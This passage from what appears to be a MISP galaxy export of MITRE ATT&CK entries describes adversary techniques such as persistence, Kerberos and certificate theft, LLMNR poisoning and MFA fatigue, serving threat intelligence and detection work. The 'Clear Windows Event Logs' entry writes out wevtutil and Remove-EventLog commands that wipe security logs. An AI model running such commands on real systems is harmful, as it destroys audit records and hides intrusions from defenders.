| mitre_data_sources | ['Active Directory: Active Directory Object Creation', 'Active Directory: Active Directory Object Deletion', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content', 'Command: Command Execution'] |
| mitre_platforms | ['Windows', 'Azure AD', 'SaaS'] |
Boot or Logon Autostart Execution - T1547
Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.
Internal MISP references
UUID 1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf which can be used as unique global reference for Boot or Logon Autostart Execution - T1547 in MISP communities and other software using the MISP galaxy
External references
- http://msdn.microsoft.com/en-us/library/aa376977 - webarchive
- https://attack.mitre.org/techniques/T1547 - webarchive
- https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547 |
| kill_chain | ['attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Windows:persistence', 'attack-Network:persistence', 'attack-Linux:privilege-escalation', 'attack-macOS:privilege-escalation', 'attack-Windows:privilege-escalation', 'attack-Network:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Driver: Driver Load', 'File: File Creation', 'File: File Modification', 'Kernel: Kernel Module Load', 'Module: Module Load', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Remotely Track Device Without Authorization - T1468
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)
Internal MISP references
UUID 6f86d346-f092-4abc-80df-8558a90c426a which can be used as unique global reference for Remotely Track Device Without Authorization - T1468 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1468 - webarchive
- https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/ - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1468 |
| kill_chain | ['mobile-attack-Android:remote-service-effects', 'mobile-attack-iOS:remote-service-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Steal or Forge Authentication Certificates - T1649
Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)
Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned)
Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.
Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)
Internal MISP references
UUID 7de1f7ac-5d0c-4c9c-8873-627202205331 which can be used as unique global reference for Steal or Forge Authentication Certificates - T1649 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1649 - webarchive
- https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11) - webarchive
- https://github.com/GhostPack/SharpDPAPI#certificates - webarchive
- https://github.com/TheWover/CertStealer - webarchive
- https://o365blog.com/post/deviceidentity/ - webarchive
- https://posts.specterops.io/certified-pre-owned-d95910965cd2 - webarchive
- https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf - webarchive
- https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1649 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Azure-AD:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Active Directory: Active Directory Object Modification', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Access', 'Logon Session: Logon Session Creation', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Azure AD'] |
Remotely Wipe Data Without Authorization - T1469
An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).
Internal MISP references
UUID 537ea573-8a1c-468c-956b-d16d2ed9d067 which can be used as unique global reference for Remotely Wipe Data Without Authorization - T1469 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1469 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html - webarchive
- https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1469 |
| kill_chain | ['mobile-attack-Android:remote-service-effects', 'mobile-attack-iOS:remote-service-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Install Insecure or Malicious Configuration - T1478
An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).
For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to adversary-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication (Eavesdrop on Insecure Network Communication and Manipulate Device Communication).
On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).
Internal MISP references
UUID cde2cb84-455e-410c-8aa9-086f2788bcd2 which can be used as unique global reference for Install Insecure or Malicious Configuration - T1478 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1478 - webarchive
- https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html - webarchive
- https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1478 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion', 'mobile-attack-Android:initial-access', 'mobile-attack-iOS:initial-access'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Steal or Forge Kerberos Tickets - T1558
Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.
On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)
Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the "ccache". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for Pass the Ticket. The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)
Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)
Internal MISP references
UUID 3fc01293-ef5e-41c6-86ce-61f10706b64a which can be used as unique global reference for Steal or Forge Kerberos Tickets - T1558 in MISP communities and other software using the MISP galaxy
External references
- http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html - webarchive
- https://adsecurity.org/?p=1515 - webarchive
- https://adsecurity.org/?p=227 - webarchive
- https://adsecurity.org/?p=2293 - webarchive
- https://attack.mitre.org/techniques/T1558 - webarchive
- https://blog.stealthbits.com/detect-pass-the-ticket-attacks - webarchive
- https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/ - webarchive
- https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - webarchive
- https://docs.microsoft.com/windows-server/administration/windows-commands/klist - webarchive
- https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 - webarchive
- https://github.com/gentilkiwi/kekeo - webarchive
- https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf - webarchive
- https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea - webarchive
- https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f - webarchive
- https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html - webarchive
- https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1558 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Command: Command Execution', 'File: File Access', 'Logon Session: Logon Session Metadata'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Aggregate individual's digital footprint - T1275
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)
Internal MISP references
UUID b3f36317-3940-4d71-968f-e11ac1bf6a31 which can be used as unique global reference for Aggregate individual's digital footprint - T1275 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1275 |
| kill_chain | ['pre-attack:people-information-gathering'] |
Domain Generation Algorithms (DGA) - T1323
This technique has been deprecated. Please use Domain Generation Algorithms.
The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)
Internal MISP references
UUID 274164c6-4297-42d4-84b5-2369e51013fe which can be used as unique global reference for Domain Generation Algorithms (DGA) - T1323 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1323 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Unconditional client-side exploitation/Injected Website/Driveby - T1372
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)
Internal MISP references
UUID 58d0b955-ae3d-424a-a537-2804dab38793 which can be used as unique global reference for Unconditional client-side exploitation/Injected Website/Driveby - T1372 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1372 |
| kill_chain | ['pre-attack:launch'] |
LLMNR/NBT-NS Poisoning and Relay - T1171
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)
Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)
Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder. (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)
Internal MISP references
UUID 0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0 which can be used as unique global reference for LLMNR/NBT-NS Poisoning and Relay - T1171 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1171 - webarchive
- https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html - webarchive
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html - webarchive
- https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution - webarchive
- https://github.com/Kevin-Robertson/Conveigh - webarchive
- https://github.com/SpiderLabs/Responder - webarchive
- https://github.com/nomex/nbnspoof - webarchive
- https://technet.microsoft.com/library/cc958811.aspx - webarchive
- https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response - webarchive
- https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1171 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
OS-vendor provided communication channels - T1390
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)
Internal MISP references
UUID 5436571f-2332-4b51-b7ed-0bc822fe02c2 which can be used as unique global reference for OS-vendor provided communication channels - T1390 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1390 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Multi-Factor Authentication Request Generation - T1621
Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.
Adversaries in possession of credentials to Valid Accounts may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)
In some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)
Internal MISP references
UUID 954a1639-f2d6-407d-aef3-4917622ca493 which can be used as unique global reference for Multi-Factor Authentication Request Generation - T1621 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1621 - webarchive
- https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications - webarchive
- https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/ - webarchive
- https://www.mandiant.com/resources/russian-targeting-gov-business - webarchive
- https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1621 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Office-365:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-IaaS:credential-access', 'attack-SaaS:credential-access', 'attack-Azure-AD:credential-access', 'attack-Google-Workspace:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows', 'Office 365', 'Linux', 'macOS', 'IaaS', 'SaaS', 'Azure AD', 'Google Workspace'] |
Rogue Wi-Fi Access Points - T1465
An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).
Internal MISP references
UUID 633baf01-6de4-4963-bb54-ff6c6357bed3 which can be used as unique global reference for Rogue Wi-Fi Access Points - T1465 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1465 |
| kill_chain | ['mobile-attack-Android:network-effects', 'mobile-attack-iOS:network-effects'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Clear Windows Event Logs - T1070.001
Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
With administrator privileges, the event logs can be cleared with the following utility commands:
wevtutil cl systemwevtutil cl applicationwevtutil cl security
These logs may also be cleared through other mechanisms, such as the event viewer GUI or PowerShell. For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)
Adversaries may also attempt to clear logs by directly deleting the stored log files within C:\Windows\System32\winevt\logs\.
Internal MISP references
UUID 6495ae23-3ab4-43c5-a94f-5638a2c31fd2 which can be used as unique global reference for Clear Windows Event Logs - T1070.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1070/001 - webarchive
- https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog - webarchive
- https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil - webarchive
- https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx - webarchive
- https://ptylu.github.io/content/report/report.html?report=25 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.001 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Deletion', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Network Share Connection Removal - T1070.005
Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and SMB/Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \system\share /delete command. (Citation: Technet Net Use)
Internal MISP references
UUID a750a9f6-0bde-4bb3-9aae-1e2786e9780c which can be used as unique global reference for Network Share Connection Removal - T1070.005 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1070.005 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Distributed Component Object Model - T1021.003
Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.
The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)
Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)
Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)
Internal MISP references
UUID 68a0c5ed-bee2-4513-830d-5b0d650139bd which can be used as unique global reference for Distributed Component Object Model - T1021.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1021/003 - webarchive
- https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1 - webarchive
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ - webarchive
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ - webarchive
- https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ - webarchive
- https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ - webarchive
- https://msdn.microsoft.com/en-us/library/aa394582.aspx - webarchive
- https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - webarchive
- https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom - webarchive
- https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.003 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Module: Module Load', 'Network Traffic: Network Connection Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Direct Cloud VM Connections - T1021.008
Adversaries may leverage Valid Accounts to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the Cloud API, such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).
Methods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access.
Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., Cloud Administration Command).
Internal MISP references
UUID 45241b9e-9bbc-4826-a2cc-78855e51ca09 which can be used as unique global reference for Direct Cloud VM Connections - T1021.008 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1021/008 - webarchive
- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html - webarchive
- https://docs.aws.amazon.com/systems-manager/latest/userguide/what-is-systems-manager.html - webarchive
- https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/serial-console-overview - webarchive
- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud - webarchive
- https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.008 |
| kill_chain | ['attack-IaaS:lateral-movement'] |
| mitre_data_sources | ['Logon Session: Logon Session Creation'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Remote Device Management Services - T1430.001
An adversary may use access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM)/mobile device management (MDM) server console to track the location of mobile devices managed by the service.(Citation: Krebs-Location)
Internal MISP references
UUID 9ef05e3d-52db-4c12-be4f-519214bbe91f which can be used as unique global reference for Remote Device Management Services - T1430.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1430/001 - webarchive
- https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/ - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1430.001 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Network Device Configuration Dump - T1602.002
Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.
Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.
Internal MISP references
UUID 52759bf1-fe12-4052-ace6-c5b0cf7dd7fd which can be used as unique global reference for Network Device Configuration Dump - T1602.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1602.002 |
| kill_chain | ['attack-Network:collection'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Indicator Removal from Tools - T1027.005
